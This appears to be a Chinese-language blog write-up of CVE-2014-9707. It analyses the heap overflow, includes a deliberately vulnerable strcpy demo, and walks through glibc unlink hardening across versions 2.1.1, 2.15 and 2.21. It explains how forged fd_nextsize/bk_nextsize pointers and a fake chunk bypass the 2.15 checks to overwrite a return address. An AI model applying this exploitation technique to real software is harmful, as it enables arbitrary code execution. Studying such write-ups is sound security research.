有几个地方值得关注,首先是刚刚进入函数的时候,有一处申请堆操作
if ((dupPath = walloc(len + 2)) == 0) {
紧接着第二处申请堆操作
if ((segments = walloc(sizeof(char*) * (len + 1))) == 0) {
然后是第三处申请堆操作
if ((path = walloc(len + nseg + 1)) != 0) {
紧接着会对两个堆空间进行free操作
wfree(dupPath);
wfree(segments);
经过之前的分析,问题出现在path申请堆空间后的strcpy后,其实看到这里可以很明朗的看出一些东西,我们来看一张对比图。
阅读过堆溢出漏洞的小伙伴肯定对右面图中的代码很熟悉,实际上,CVE-2014-9707这个漏洞,分析完这个漏洞的成因之后,可以还原成一个最常见的unlink漏洞利用的模型!
```
#include <stdlib.h>
#include <string.h>
int main( int argc, char * argv[] )
{
char * first, * second;
/*[1]*/ first = malloc( 660 );
/*[2]*/ second = malloc( 660 );
if(argc!=1)
/*[3]*/ strcpy( second, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}
```
接下来,我们来看一下这个漏洞申请堆空间的布局。
我们可以看到,根据malloc的情况,可以将申请的空间做如下布局,top chunk是未被分配的堆空间,path所处的chunk,是可控的,也就是上面给出模型中的second部分,argv[1]就相当于我们在实战中要拷贝的堆空间。
也就是说,当我们在demo中,找到一个合适的payload,导致返回地址被修改成shellcode地址,或者system地址等等,无论怎么样,都能达到最后的利用。
这里我需要多说几句,如果仔细看过上面的demo和以前unlink的文章比较的话,会发现我拷贝的是第二个缓冲区,也就是说在free(second)的时候,才有可能会出发unlink,而不是free(first),这是因为在实战中,free(segment)的时候才会出发漏洞,所以利用覆盖got表中free地址替换为shellcode或者system函数的方法并不可用。
这里还是要利用覆盖返回地址的方法。关于unlink的触发机制在unlink的各种文档中都有详细描述,简单的描述 理解大致就是空闲块合并操作,释放块的时候,通过欺骗某chunk header来达到令系统认为A块的前面一块活着后面一块是空闲的,这样就会触发A块脱链,触发unlink宏,当然,这里A块不一定是当前块,也有可能是当前块的下一块。
glibc保护机制与绕过
在不断的版本更新中,glibc对抗堆溢出漏洞的手法层出不穷,在不断的演变中,我们需要面对不同的防护机制,这里通过对比分析和实战,我总结了glibc在进化过程中的变化和利用方法。很多利用在以前unlink的文章中都有描述,我在文末的参考文章中都已经指出,这里就不再进行赘述。
首先来看一下glibc 2.1.1版本中,关于unlink宏的定义。malloc.c第2344行。
```
#define unlink(P, BK, FD)
{
BK = P->bk;
FD = P->fd;
FD->bk = BK;
BK->fd = FD;
}
```
可以看到,最老版本的glibc中对chunk header的控制并不好,导致那个时候是最好利用的,这里对chunk header的结构我就不再多做描述,几乎所有关于linux下的堆溢出文章中都会提到,那么这里,如果我们设置unlink块的对象中的bk和fd为某些特殊的值,在这个条件下很容易就能达到利用。
接下来来看一下glibc 2.15版本中,关于unlink宏的定义。malloc.c第1544行。
```
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
assert (P->fd_nextsize->bk_nextsize == P);
assert (P->bk_nextsize->fd_nextsize == P);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
```
可以看到,这里对FD->bk和BK->fd做了严格的判断,如果下一块的fd和前一块的bk不等于当前块,则会打印错误信息。只有当判断条件通过的情况下,才会执行else语句内的后续赋值内容。那么,是不是这样条件下就无法利用了呢?我们可以关注到,在else语句中还有一个嵌套的if语句,其中会执行一个函数in_smallbin_range,传参为当前块的大小,当当前块大小大于512字节的时候,程序会进入if语句中的内容,其中涉及到两个非常关键的指针指向变量fd_nextsize和bk_nextsize,而这个if语句中的else内,会执行一个赋值操作,对这两个变量,没有进行检查,于是在这种情况下,我们需要构造一个大于512字节的块,伪造fd_nextsize和bk_nextsize来完成利用。
在这个漏洞的利用环境下就是利用的这个unlink宏,那么我们注意到在判断完FD->bk后的入口点,有两个assert断言,实际上在release版本下,这两个断言并不能触发。
接下来我们来看较新的glibc 2.21,在这个版本下,malloc.c第1411行
```
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)", P);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
```
和上面的代码大同小异,但是可以看到在之前的assert断言中判断的内容,被挪到if语句中进行判断,也就是说利用fd_nextsize和bk_nextsize伪造的方法不能再利用了。
因此在最新版glibc下如何完成堆溢出,是我下一步想研究的内容。
从unlink到漏洞利用
讲了glibc版本更迭,攻防对抗的升级,下面来讲一下这个漏洞的利用,在之前的内容中我们提到path是可控的,也就是说我们利用path覆盖top chunk,然后在segment被释放的时候,会去top chunk header中判断path块是否空闲,如果这时候欺骗linux让它认为path块空闲,则会触发path块unlink操作,从而导致漏洞呗利用。
在最老的版本glibc中,我们只需要将fd和bk分别设置为特定值即可完成利用,但是之前也提到新版glibc中发生的变化,下面我们来看一下linux中对抗堆溢出需要注意哪些情况吧。
首先linux会对堆大小进行检查,也就是说chunk header中的prev_size会被检查,这是为了对抗堆溢出中,设定prev_size为-4这种负数的情况,用于欺骗,因为为了计算前一个堆的偏移会用某chunk头部地址减去prev_size。
这时候就会产生错误。
来看一下glibc2.15的malloc.c中关于前一块大小检查部分的代码。
```
nextsize = chunksize(nextchunk);
if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
{
errstr = "free(): invalid next size (normal)";
```
可以看到,在这里会对nextsize进行判断,nextsize是由下一块的chunksize得到,这时我们要记住prev_size,纪录的是前一块的大小,04030201时产生错误。
其次是double free的检查,不能连续释放两次,也就是说,当堆溢出覆盖下一个块和下下一个块的in_use位为0的时候(空闲状态),会无法通过double free的检查。
可以看到,这时大小变成01020304后,通过了next size的检查,但是来看IN_USE位,当下一块和下下块IN_USE位都为0时,也就是连续两个块都空闲,则无法通过double free的检查。
来看一下malloc.c中的相关代码。
```
/* Or whether the block is actually not marked used. */
if (__builtin_expect (!prev_inuse(nextchunk), 0))
{
errstr = "double free or corruption (!prev)";
goto errout;
}
```
因此不能有连续两个块IN_USE都为0.
于是,我们可以构造这样的利用方法,glibc 2.15版本下,最新版会有新的防护,之前已经提到。
这里,我们构造一个伪造的块处于path块和top chunk块之间,用这种方法来绕过之前提到的FD->bk=P的检查,最后在前面的章节中,我们介绍到利用fd_nextsize和bk_nextsize的方法来完成最终的代码执行,于是我们将返回地址和shellcode地址分别布置在这两处位置。
最后我们可以完成利用。
在这个研究中,我对linux堆溢出有了更深刻的理解,确实刚开始接触堆溢出的时候感觉很乱,尤其是链表,后来发现自己研究链表的机制,很快就能明白,尤其是配合这个漏洞进行调试,希望大家能够多多交流,共同进步!
参考链接
发表评论
您还未登录,请先登录。
登录